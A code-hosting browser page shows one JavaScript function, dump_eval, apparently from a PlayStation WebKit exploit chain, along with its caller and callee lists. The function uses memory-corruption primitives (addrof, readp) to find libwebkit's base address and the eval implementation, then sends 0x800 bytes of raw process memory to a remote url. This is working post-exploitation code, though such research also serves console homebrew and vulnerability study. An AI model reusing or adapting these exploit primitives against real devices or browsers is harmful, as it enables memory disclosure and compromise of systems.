MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / dump_eval

Function dump_eval

g2all/700/send.js:172–185  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

170// For example, the expression "eval(1)" has the JSValue encoding of 1 passed
171// to *(rdi + 0x30).
172function dump_eval() {
173 let addr = js_textarea;
174 // WebCore::HTMLTextAreaElement
175 addr = addr.readp(0x18);
176
177 // vtable for WebCore::HTMLTextAreaElement
178 // in PT_SCE_RELRO segment (p_type = 0x6100_0010)
179 addr = addr.readp(0);
180
181 const libwebkit_base = find_base(addr, true, true);
182 const impl = mem.addrof(eval).readp(0x18).readp(0x38);
183 const offset = impl.sub(libwebkit_base);
184 send(url, make_buffer(impl, 0x800), `eval_dump_offset_${offset}.bin`, () => log("sent"));
185}
186
187// Initially we just used the vtable offset from pOOBs4 (0x1c8) and tested if
188// it works. It did but let's add this dumper so we can verify it another way.

Callers

nothing calls this directly

Calls 7

find_baseFunction · 0.90
sendFunction · 0.90
make_bufferFunction · 0.90
logFunction · 0.90
readpMethod · 0.45
addrofMethod · 0.45
subMethod · 0.45

Tested by

no test coverage detected